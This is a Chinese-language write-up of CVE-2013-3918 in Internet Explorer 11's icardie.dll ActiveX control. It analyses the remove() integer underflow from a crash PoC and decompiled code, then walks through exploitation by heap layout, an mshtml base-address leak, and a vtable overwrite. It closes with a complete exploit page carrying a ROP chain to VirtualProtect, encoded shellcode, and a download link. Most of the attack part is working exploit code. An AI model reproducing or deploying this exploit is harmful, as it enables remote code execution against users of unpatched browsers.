1. 漏洞分析
首先WinDbg附加IE进程访问POC页面
<html>
<body>
<object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='ICARD'></object>
<script>
var b = ICARD.RequiredClaims;
b.add("a");
b.remove(0);
b.remove(0);
b.remove(0);
</script>
</body>
</html>
访问后造成Crash,这是由于访问了不可访问的内存
根据栈回溯可以知道是在CCardSpaceClaimCollection::remove
函数中触发的异常
接下来用IDA分析icardie.dll
中的CCardSpaceClaimCollection::remove
函数
signed int __stdcall CCardSpaceClaimCollection::remove(CCardSpaceClaimCollection *this, struct tagVARIANT *var_index)
{
signed int v2; // edi@1
int v3; // eax@3
CCardSpaceClaimCollection *this_object; // ebx@5
tagSAFEARRAY *v5; // eax@7
unsigned __int32 index; // esi@10
int v8; // eax@18
int this_object_size; // edx@23
const struct _GUID *v10; // [sp+0h] [bp-18h]@0
const struct _GUID *v11; // [sp+4h] [bp-14h]@0
SAFEARRAYBOUND rgsabound; // [sp+Ch] [bp-Ch]@5
char *ppvData; // [sp+14h] [bp-4h]@1
SAFEARRAY *psa; // [sp+20h] [bp+8h]@7
...
if ( var_index->vt != VT_I4 )
{
...
}
index = var_index->cyVal.Lo;
if ( index > this_object->size )
{
LABEL_11:
v2 = -2147467259;
goto LABEL_12;
}
LABEL_23:
SysFreeString(*&ppvData[4 * index]);
this_object_size = this_object->size;
if ( index != this_object_size - 1 )
memcpy(&ppvData[4 * index], &ppvData[4 * index + 4], 4 * (this_object_size - index));
*&ppvData[4 * --this_object->size] = 0;
LABEL_12:
if ( ppvData )
SafeArrayUnaccessData(psa);
if ( v2 < 0 )
return ReportHR(&IID_ICardSpaceClaimCollection, v10, v11);
return v2;
}
可以看到当调用remove
函数时的参数为整数时,index
的值就是传进来的索引值,重点看28行之后的代码,当将要删除的索引值不等于当前的集合大小减1时,就会执行memcpy
,并把集合大小减1,当POC中的第二个remove
执行后,集合的大小变成了-1
即0xffffffff
,这时再执行remove(0)
,就会执行memcpy(&ppvData[0], &ppvData[4], 4 * 0xffffffff)
,这样就导致了非法内存访问。
2. 漏洞利用
利用方式exp-sky大牛在https://github.com/exp-sky/XKungFoo-2013/blob/master/IE%200day%20Analysis%20And%20Exploit.pdf这个pdf中已经讲得很清楚了,使用的exp是http://boo0m.github.io/2016/12/20/%C2%96Geekpwn-2016-CVE-2013-3918-Exploit/
add_item(rc_obj0,"A",20);
add_item(rc_obj1,"B",20);
add_item(rc_obj2,"C",20);
var mysvg = document.getElementById("svg_my");
var filter = document.createElementNS("http://www.w3.org/2000/svg","filter");
mysvg.appendChild(filter);
add_item(rc_obj3,"D",20);
add_item(rc_obj4,"E",20);
add_item(rc_obj5,"F",20);
rc_obj5.remove(0);
rc_obj5.remove(-88);
rc_obj5.remove(-88);
for(var i=0; i< 20;i++)
rc_obj5.remove(-110);
这一步如果堆布局成功,那么rc_obj2
的第一个元素指向的就是filter
元素的vftable
0:007> ln 718a7208
(718a7208) MSHTML!CSVGFilterElement::`vftable' | (718a5930) MSHTML!CSVGFilterElement::s_apHdlDescs
Exact matches:
MSHTML!CSVGFilterElement::`vftable' = <no type information>
0:007> ? poi(718a7208) - mshtml
Evaluate expression: 6584541 = 006478dd
因此取rc_obj2
第一个元素的值再减去0x006478dd
就可以泄漏出mshtml
模块的基地址
var function_addr = rc_obj2.item(0).charCodeAt(1)*65536+rc_obj2.item(0).charCodeAt(0);
var mshtml_addr = function_addr-0x006478dd;
这里选用svg filter
是因为它的大小刚好为0x50
之后构造ROP,在执行完
add_item(rc_obj3, payload ,20);
rc_obj5.remove(-108);
rc_obj5.remove(-108);
for(var i=0;i<20;i++)
rc_obj5.remove(-132);
这一步之后会把filter
的vftable
覆盖成ROP + Shellcode String
的地址,并且eax
为String
地址,在之后执行filter.appendChild(table)
时就会从这行payload += getDwordStr(mshtml_addr+0x00028cc4); //xchg eax,esp#retn
的gadget开始执行,另外在调用虚表函数指针时会有虚表保护,检测vtguard
通过后再进行调用,这个位置是在vftable+0x48
最后就是ROP执行VirtualProtect
把栈设为可执行再执行shellcode
3. 完整EXP
IE版本为11.0.9600.16428
,只是修改了http://boo0m.github.io/2016/12/20/%C2%96Geekpwn-2016-CVE-2013-3918-Exploit/一处地方
<html>
<body>
<object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='ICARD'></object>
<script>
function sleep(d){
for(var t = Date.now();Date.now() - t <= d;);
}
function create_object(i){
var obj = document.createElement("object");
obj.classid = 'clsid:19916E01-B44E-4E31-94A4-4696DF46157B';
obj.id = 'I'+i;
document.body.appendChild(obj);
return document['I'+i].RequiredClaims;
}
function add_item(obj_icard, str, size){
for(var i = 0; i < size; i++)
obj_icard.add(str+i);
}
function remove_item(obj_icard, size){
for(var i = 0; i < size; i++)
obj_icard.remove(0);
}
function getFiller(n) {
return new Array(n+1).join("a");
}
function getDwordStr(val) {
return String.fromCharCode(val % 0x10000, val / 0x10000);
}
function onLoad(){
//alert("mshtml");
CollectGarbage();
rc_obj0 = create_object(0);
rc_obj1 = create_object(1);
rc_obj2 = create_object(2);
rc_obj3 = create_object(3);
rc_obj4 = create_object(4);
rc_obj5 = create_object(5);
add_item(rc_obj0,"A",20);
add_item(rc_obj1,"B",20);
add_item(rc_obj2,"C",20);
//alert("create document");
var mysvg = document.getElementById("svg_my");
var filter = document.createElementNS("http://www.w3.org/2000/svg","filter");
mysvg.appendChild(filter);
//alert("add_item");
add_item(rc_obj3,"D",20);
add_item(rc_obj4,"E",20);
add_item(rc_obj5,"F",20);
//alert("end_add,start remove");
remove_item(rc_obj0,20);
remove_item(rc_obj1,20);
remove_item(rc_obj5,20);
rc_obj5.remove(0);
rc_obj5.remove(-88);
//alert(11);
rc_obj5.remove(-88);
for(var i=0; i< 20;i++)
rc_obj5.remove(-110);
var function_addr = rc_obj2.item(0).charCodeAt(1)*65536+rc_obj2.item(0).charCodeAt(0);
//alert('0x'+(function_addr-0x006478dd).toString(16));
var mshtml_addr = function_addr-0x006478dd;
//alert(mshtml_addr.toString(16));
//alert("ROP");
remove_item(rc_obj3,20);
vtguard = mshtml_addr + 0x00749c41;
var payload = "";
payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn
for(var i = 0; i < 7; ++i)
payload += getDwordStr(0x0c0c0c0c);
payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn
for(var i = 0; i < 7; ++i)
payload += getDwordStr(0x0c0c0c0c);
payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn
payload += getDwordStr(0x0c0c0c0c);
payload += getDwordStr(vtguard);
// 17
for(var i = 0; i < 5; ++i)
payload += getDwordStr(0x0c0c0c0c);
payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn
for(var i = 0; i < 7; ++i)
payload += getDwordStr(0x0c0c0c0c);
payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn
for(var i = 0; i < 3; ++i)
payload += getDwordStr(0x0c0c0c0c);
payload += getDwordStr(mshtml_addr+0x00028cc4); //xchg eax,esp#retn
//52
for(var i = 0; i < 3; ++i)
payload += getDwordStr(0x0c0c0c0c);
//virtualprotect ROP START
payload += getDwordStr(mshtml_addr+0x00050251); //POP EBP # RETN
payload += getDwordStr(mshtml_addr+0x00050251); //skip 4 bytes
payload += getDwordStr(mshtml_addr+0x00050564); //POP EBX # RETN
payload += getDwordStr(0x77777979); //0x77777979-> ebx
payload += getDwordStr(mshtml_addr+0x0009508b); //POP EAX # RETN
payload += getDwordStr(0x88888888); //0x88888888-> eax
payload += getDwordStr(mshtml_addr+0x006aaf77); //add ebx,eax #retn
payload += getDwordStr(mshtml_addr+0x0009508b); //POP EAX # RETN
payload += getDwordStr(0xFFFFFFC0); //EAX
payload += getDwordStr(mshtml_addr+0x0020fa4d); //neg eax#retn
payload += getDwordStr(mshtml_addr+0x0040b131); //mov edx,eax #retn
payload += getDwordStr(mshtml_addr+0x00015798); //POP ECX # RETN
payload += getDwordStr(mshtml_addr+0x00edb001); // &Writable location
payload += getDwordStr(mshtml_addr+0x00081aa8); //POP EDI # RETN
payload += getDwordStr(mshtml_addr+0x00081aa9); //RETN
payload += getDwordStr(mshtml_addr+0x00001430); //POP ESI # RETN
payload += getDwordStr(mshtml_addr+0x0006c1df); //JMP [EAX]
payload += getDwordStr(mshtml_addr+0x0009508b); //POP EAX # RETN
payload += getDwordStr(mshtml_addr+0x00ed5434); //ptr to &VirtualProtect()
payload += getDwordStr(mshtml_addr+0x00095486); //PUSHAD # RETN
payload += getDwordStr(mshtml_addr+0x00130fdb); //ptr to 'jmp esp'
payload += getDwordStr(0x90909090); //nop # jmp 120
for(var i = 0; i < 26; ++i)
payload += getDwordStr(0x90909090);
payload += getDwordStr(0x909006eb); //jmp 06
payload += getDwordStr(mshtml_addr+0x00883196); // call dword ptr [eax+90h]
//shellcode
payload += getDwordStr(0xf63154eb);
payload += getDwordStr(0x30768b64);
payload += getDwordStr(0x8b0c768b);
payload += getDwordStr(0x6e8b1c76);
payload += getDwordStr(0x8b368b08);
payload += getDwordStr(0x5c8b3c5d);
payload += getDwordStr(0xdb85781d);
payload += getDwordStr(0xeb01f074);
payload += getDwordStr(0x67184b8b);
payload += getDwordStr(0x7b8be8e3);
payload += getDwordStr(0x8bef0120);
payload += getDwordStr(0x01fc8f7c);
payload += getDwordStr(0x99c031ef);
payload += getDwordStr(0xcac11702);
payload += getDwordStr(0xf875ae04);
payload += getDwordStr(0x0424543b);
payload += getDwordStr(0xca75e4e0);
payload += getDwordStr(0x0124538b);
payload += getDwordStr(0x14b70fea);
payload += getDwordStr(0x1c7b8b4a);
payload += getDwordStr(0x2c03ef01);
payload += getDwordStr(0xe768c397);
payload += getDwordStr(0xe869ccc4);
payload += getDwordStr(0xffffffa2);
payload += getDwordStr(0x61636850);
payload += getDwordStr(0xd48b636c);
payload += getDwordStr(0xff525040);
payload += getDwordStr(0xa67768d5);
payload += getDwordStr(0x8be82a60);
payload += getDwordStr(0x50ffffff);
payload += getDwordStr(0x9090d5ff);
add_item(rc_obj3, payload ,20);
rc_obj5.remove(-108);
rc_obj5.remove(-108);
for(var i=0;i<20;i++)
rc_obj5.remove(-132);
var table = document.createElement('table');
filter.appendChild(table);
}
window.onload = onLoad;
</script>
<svg id="svg_my" style="border:1px solid #000;width:200px;height:200px" version="1.1" xmlns="http://www.w3.org/2000/svg">
</svg>
</body>
</html>
完整EXP下载地址:https://github.com/birdg0/exp/blob/master/browser/ie11-cve-2013-3918-exp.html